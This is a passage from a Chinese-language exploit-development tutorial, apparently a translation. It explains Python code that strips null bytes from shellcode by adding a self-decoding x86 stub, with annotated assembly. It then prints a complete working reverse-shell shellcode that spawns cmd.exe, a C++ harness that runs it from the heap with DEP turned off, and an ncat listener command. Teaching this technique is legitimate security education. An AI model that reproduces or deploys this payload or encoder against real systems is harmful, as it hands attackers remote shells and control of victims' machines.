????# Finds one non-null byte not present, if any.
????bytes = set([ord(c) for c in shellcode])
????missing_bytes = [b for b in range(1, 256) if b not in bytes]
????if len(missing_bytes) == 0:
????????return None???????????????????????????? # shellcode can't be fixed
????missing_byte = missing_bytes[0]
?
????(xor1, xor2) = get_xor_values(len(shellcode))
?
????code = [
????????0xE8, 0xFF, 0xFF, 0xFF, 0xFF,?????????????????????? #?? CALL $ + 4
????????????????????????????????????????????????????????????# here:
????????0xC0,?????????????????????????????????????????????? #?? (FF)C0 = INC EAX
????????0x5F,?????????????????????????????????????????????? #?? POP EDI
????????0xB9, xor1[0], xor1[1], xor1[2], xor1[3],?????????? #?? MOV ECX, <xor value 1 for shellcode len>
????????0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],???? #?? XOR ECX, <xor value 2 for shellcode len>
????????0x83, 0xC7, 29,???????????????????????????????????? #?? ADD EDI, shellcode_begin - here
????????0x33, 0xF6,???????????????????????????????????????? #?? XOR ESI, ESI
????????0xFC,?????????????????????????????????????????????? #?? CLD
????????????????????????????????????????????????????????????# loop1:
????????0x8A, 0x07,???????????????????????????????????????? #?? MOV AL, BYTE PTR [EDI]
????????0x3C, missing_byte,???????????????????????????????? #?? CMP AL, <missing byte>
????????0x0F, 0x44, 0xC6,?????????????????????????????????? #?? CMOVE EAX, ESI
????????0xAA,?????????????????????????????????????????????? #?? STOSB
????????0xE2, 0xF6??????????????????????????????????????????#?? LOOP loop1
????????????????????????????????????????????????????????????# shellcode_begin:
????]
?
????return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
逐字節地分析shellcode
并了解下這是否為被忽略的值,即從不出現在shellcode
中的值。我們來了解下值0x14
.如果我們用該值替換在shellcode
中的每個0x00
,那么shellcode
將不再含有null
字節,但是會因為被修改了而無法執行。最后是將一些decoder
添加到shellcode
,在運行時時,在原shellcode
被執行前將重置null字節。如下:
CALL $ + 4??????????????????????????????????; PUSH "here"; JMP "here"-1
here:
??(FF)C0 = INC EAX????????????????????????????; not important: just a NOP
??POP EDI???????????????????????????????????? ; EDI = "here"
??MOV ECX, <xor value 1 for shellcode len>
??XOR ECX, <xor value 2 for shellcode len>????; ECX = shellcode length
??ADD EDI, shellcode_begin - here???????????? ; EDI = absolute address of original shellcode
??XOR ESI, ESI????????????????????????????????; ESI = 0
??CLD???????????????????????????????????????? ; tells STOSB to go forwards
loop1:
??MOV AL, BYTE PTR [EDI]??????????????????????; AL = current byte of the shellcode
??CMP AL, <missing byte>??????????????????????; is AL the special byte?
??CMOVE EAX, ESI??????????????????????????????; if AL is the special byte, then EAX = 0
??STOSB?????????????????????????????????????? ; overwrite the current byte of the shellcode with AL
??LOOP loop1??????????????????????????????????; DEC ECX; if ECX > 0 then JMP loop1
shellcode_begin:
這里有兩個需要重點討論的細節。首先,該代碼不能含有null
字節,因為我們需要另一段代碼來移除他們
正如你看到的,CALL
指令不會跳轉到here
,因為操作碼(opcode
)
E8 00 00 00 00 # CALL here
包含四個null
字節. 因為CALL
?指令為 5個字節,?所以CALL here
指令等價于CALL $+5
.除去nul
l字節的技巧是使用指令?CALL $+4
:
E8 FF FF FF FF # CALL $+4
那CALL跳過4個字節 并jmp到CALL本身的最后一個FF。由字節C0緊接著CALL指令,因此在CALL指令執行之后該指令INC EAX對應的操作碼FF C0會被執行。注意CALL指令中已壓入棧的值仍然是here標記的絕對地址
這是除去null字節的第二種技巧:
MOV ECX,
我們可以只是使用:
MOV ECX,
但是這將不會生成null字節。而實際上,shellcode的長度為0x400,我們將會看到該指令
B9 00 04 00 00 MOV ECX, 400h
存在3個null字節。
為了避免存在該問題,我們選擇使用一個不會出現在00000400h
中的non-null
字節。我們選擇使用0x01
.現在我們計算如下:
<xor value 1 for shellcode len>?= 00000400h xor 01010101 = 01010501h
<xor value 2 for shellcode len>?= 01010101h
在指令中使用<xor value 1 for shellcode len>
?和?<xor value 2 for shellcode len>
對應的操作碼都不存在null
字節,并且在執行xor
操作后,生成的原始值為400h
。
對應的兩條指令將會是:
B9 01 05 01 01 MOV ECX, 01010501h
81 F1 01 01 01 01 XOR ECX, 01010101h
通過函數?get_xor_values
來計算xor
值。
正如以上提到過的,該代碼很容易理解:通過逐字節檢查shellcode
來用特定的值(0x14
,在之前的范例中)覆寫null
字節。
如上的方法會失敗,因為我們不能找到從不在shellcode
中出現過的字節值。如果失敗了,我們需要使用get_fixed_shellcode
,但是它更為復雜。
方法是將shellcode
分為多個254
字節的塊。注意每個塊必須存在一個 “missing byte
”,因為一個字節可以具有255
個非0值。我們可以對每個塊進行逐個處理來為每個塊選擇missing byte
。但是這樣做可能效率不高,因為對于一段具有254*N
個字節的shellcode
來說,我們需要在shellcode(
存在識別missing bytes
的decoder
)被處理之前或之后存儲N個 “missing bytes
”。最有效的做法是,為盡可能多個254字節的塊使用相同的“missing bytes
”。我們從shellcode
的起始部分開始對塊進行處理,直到處理完最后一個塊。最后,我們會有<missing_byte, num_blocks>
配對的列表:
[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]
我已決定將num_blocksX
限制為一個單一字節,因此,num_blocksX
?的值會在1到255之間。
此處是get_fixed_shellcode
部分,該部分將shellcode
分為多個塊。
def get_fixed_shellcode(shellcode):
????'''
????Returns a version of shellcode without null bytes. This version divides
????the shellcode into multiple blocks and should be used only if
????get_fixed_shellcode_single_block() doesn't work with this shellcode.
????'''
?
????# The format of bytes_blocks is
????#?? [missing_byte1, number_of_blocks1,
????#????missing_byte2, number_of_blocks2, ...]
????# where missing_byteX is the value used to overwrite the null bytes in the
????# shellcode, while number_of_blocksX is the number of 254-byte blocks where
????# to use the corresponding missing_byteX.
????bytes_blocks = []
????shellcode_len = len(shellcode)
????i = 0
????while i < shellcode_len:
????????num_blocks = 0
????????missing_bytes = list(range(1, 256))
?
????????# Tries to find as many 254-byte contiguous blocks as possible which misses at
????????# least one non-null value. Note that a single 254-byte block always misses at
????????# least one non-null value.
????????while True:
????????????if i >= shellcode_len or num_blocks == 255:
????????????????bytes_blocks += [missing_bytes[0], num_blocks]
????????????????break
????????????bytes = set([ord(c) for c in shellcode[i:i+254]])
????????????new_missing_bytes = [b for b in missing_bytes if b not in bytes]
????????????if len(new_missing_bytes) != 0:???????? # new block added
????????????????missing_bytes = new_missing_bytes
????????????????num_blocks += 1
????????????????i += 254
????????????else:
????????????????bytes += [missing_bytes[0], num_blocks]
????????????????break
<snip>
就像之前,我們需要討論在shellcode
起始部分提前準備好的“decoder
”。該decoder
的代碼比之前的更長,但是原理相同。
這里是代碼:
code = ([
????0xEB, len(bytes_blocks)] +??????????????????????????#?? JMP SHORT skip_bytes
????????????????????????????????????????????????????????# bytes:
????bytes_blocks + [????????????????????????????????????#?? ...
????????????????????????????????????????????????????????# skip_bytes:
????0xE8, 0xFF, 0xFF, 0xFF, 0xFF,?????????????????????? #?? CALL $ + 4
????????????????????????????????????????????????????????# here:
????0xC0,?????????????????????????????????????????????? #?? (FF)C0 = INC EAX
????0x5F,?????????????????????????????????????????????? #?? POP EDI
????0xB9, xor1[0], xor1[1], xor1[2], xor1[3],?????????? #?? MOV ECX, <xor value 1 for shellcode len>
????0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],???? #?? XOR ECX, <xor value 2 for shellcode len>
????0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,????????#?? LEA EBX, [EDI + (bytes - here)]
????0x83, 0xC7, 0x30,?????????????????????????????????? #?? ADD EDI, shellcode_begin - here
????????????????????????????????????????????????????????# loop1:
????0xB0, 0xFE,???????????????????????????????????????? #?? MOV AL, 0FEh
????0xF6, 0x63, 0x01,?????????????????????????????????? #?? MUL AL, BYTE PTR [EBX+1]
????0x0F, 0xB7, 0xD0,?????????????????????????????????? #?? MOVZX EDX, AX
????0x33, 0xF6,???????????????????????????????????????? #?? XOR ESI, ESI
????0xFC,?????????????????????????????????????????????? #?? CLD
????????????????????????????????????????????????????????# loop2:
????0x8A, 0x07,???????????????????????????????????????? #?? MOV AL, BYTE PTR [EDI]
????0x3A, 0x03,???????????????????????????????????????? #?? CMP AL, BYTE PTR [EBX]
????0x0F, 0x44, 0xC6,?????????????????????????????????? #?? CMOVE EAX, ESI
????0xAA,?????????????????????????????????????????????? #?? STOSB
????0x49,?????????????????????????????????????????????? #?? DEC ECX
????0x74, 0x07,???????????????????????????????????????? #?? JE shellcode_begin
????0x4A,?????????????????????????????????????????????? #?? DEC EDX
????0x75, 0xF2,???????????????????????????????????????? #?? JNE loop2
????0x43,?????????????????????????????????????????????? #?? INC EBX
????0x43,?????????????????????????????????????????????? #?? INC EBX
????0xEB, 0xE3??????????????????????????????????????????#?? JMP loop1
????????????????????????????????????????????????????????# shellcode_begin:
])
bytes_blocks
是數組:
[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]
我們在之前已經討論過,但是沒有配對。
注意代碼始于跳過bytes_blocks
的JMP SHORT
指令。為了實現該操作,len(bytes_blocks)
必須小于或等于0x7F
。但是正如你所看到的,len(bytes_blocks)
?也出現在另一條指令中:
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF,????????#?? LEA EBX, [EDI + (bytes - here)]
這里要求len(bytes_blocks)
?小于或等于0x7F – 5
,因此這是決定性的條件。如果條件違規,則:
if len(bytes_blocks) > 0x7f - 5:
# Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
return None
進一步審計代碼:
JMP SHORT skip_bytes
bytes:
??...
skip_bytes:
??CALL $ + 4??????????????????????????????????; PUSH "here"; JMP "here"-1
here:
??(FF)C0 = INC EAX????????????????????????????; not important: just a NOP
??POP EDI???????????????????????????????????? ; EDI = absolute address of "here"
??MOV ECX, <xor value 1 for shellcode len>
??XOR ECX, <xor value 2 for shellcode len>????; ECX = shellcode length
??LEA EBX, [EDI + (bytes - here)]???????????? ; EBX = absolute address of "bytes"
??ADD EDI, shellcode_begin - here???????????? ; EDI = absolute address of the shellcode
loop1:
??MOV AL, 0FEh????????????????????????????????; AL = 254
??MUL AL, BYTE PTR [EBX+1]????????????????????; AX = 254 * current num_blocksX = num bytes
??MOVZX EDX, AX?????????????????????????????? ; EDX = num bytes of the current chunk
??XOR ESI, ESI????????????????????????????????; ESI = 0
??CLD???????????????????????????????????????? ; tells STOSB to go forwards
loop2:
??MOV AL, BYTE PTR [EDI]??????????????????????; AL = current byte of shellcode
??CMP AL, BYTE PTR [EBX]??????????????????????; is AL the missing byte for the current chunk?
??CMOVE EAX, ESI??????????????????????????????; if it is, then EAX = 0
??STOSB?????????????????????????????????????? ; replaces the current byte of the shellcode with AL
??DEC ECX???????????????????????????????????? ; ECX -= 1
??JE shellcode_begin??????????????????????????; if ECX == 0, then we're done!
??DEC EDX???????????????????????????????????? ; EDX -= 1
??JNE loop2?????????????????????????????????? ; if EDX != 0, then we keep working on the current chunk
??INC EBX???????????????????????????????????? ; EBX += 1??(moves to next pair...
??INC EBX???????????????????????????????????? ; EBX += 1?? ... missing_bytes, num_blocks)
??JMP loop1?????????????????????????????????? ; starts working on the next chunk
shellcode_begin:
這部分會簡明易懂!如果沒有任何參數,運行腳本將會顯示如下:
Shellcode Extractor by Massimiliano Tomassoli (2015)
Usage:
sce.py <exe file> <map file>
如果你還記得,我們也已經告訴過VS 2013
的linker
生成一個映射文件。只調用具有exe
文件及映射文件路徑的腳本。此處是從反向shellcode
中得到的信息:
Shellcode Extractor by Massimiliano Tomassoli (2015)
Extracting shellcode length from "mapfile"...
shellcode length: 614
Extracting shellcode from "shellcode.exe" and analyzing relocations...
Found 3 reference(s) to 3 string(s) in .rdata
Strings:
ws2_32.dll
cmd.exe
127.0.0.1
Fixing the shellcode...
final shellcode length: 715
char shellcode[] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
重點在于重定位信息,因為可以根據它來檢查一切是否OK。例如,我們了解到反向shell使用3個字符串來實現,并且它們是從.rdata
節中提取的。我們可以了解到原始shellcode
為614個字節,同時也了解到已生成的shellcode
(在處理了重定向信息以及null
字節之后)為715字節。
現在需要運行已生成的shellcode
。此處是完整的源碼:
#include <cstring>
#include <cassert>
?
// Important: Disable DEP!
//??(Linker->Advanced->Data Execution Prevention = NO)
?
void main() {
????char shellcode[] =
????????"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
????????"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
????????"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
????????"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
????????"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
????????"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
????????"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
????????"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
????????"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
????????"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
????????"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
????????"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
????????"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
????????"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
????????"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
????????"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
????????"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
????????"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
????????"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
????????"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
????????"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
????????"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
????????"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
????????"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
????????"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
????????"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
????????"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
????????"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
????????"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
????????"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
????????"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
????????"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
????????"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
????????"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
????????"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
????????"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
????????"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
????????"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
????????"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
????????"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
????????"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
????????"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
????????"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
????????"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
????????"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
?
????static_assert(sizeof(shellcode) > 4, "Use 'char shellcode[] = ...' (not 'char *shellcode = ...')");
?
????// We copy the shellcode to the heap so that it's in writeable memory and can modify itself.
????char *ptr = new char[sizeof(shellcode)];
????memcpy(ptr, shellcode, sizeof(shellcode));
????((void(*)())ptr)();
}
此時需要關閉DEP(Data?Execution?Prevention
)來讓該段代碼成功地被執行,通過Project→<solution name> Properties
?然后在?Configuration Properties
下,?Linker?and?Advanced
, 將?Data Execution Prevention
(DEP)?設為?No (/NXCOMPAT:NO)
。因為shellcode
將會在堆中被執行,所以開啟了DEP
會導致shellcode
無法被執行。
C++11
(因此需要VS 2013 CTP
)標準中介紹了static_assert
?,使用如下語句來檢查
char shellcode[] = "..."
而不是
char *shellcode = "..."
在第一個案例中,sizeof(shellcode)
表示shellcode
的有效長度,此時shellcode
已經被復制到棧上了。在第二個案例中,sizeof(shellcode)
?只是表示指針(i.e. 4)
的大小,并且該指針指向在.rdata
節中的shellcode
。
可以打開cmd shell
來測試shellcode
:
ncat -lvp 123
接著運行shellcode并觀察它是否被成功執行。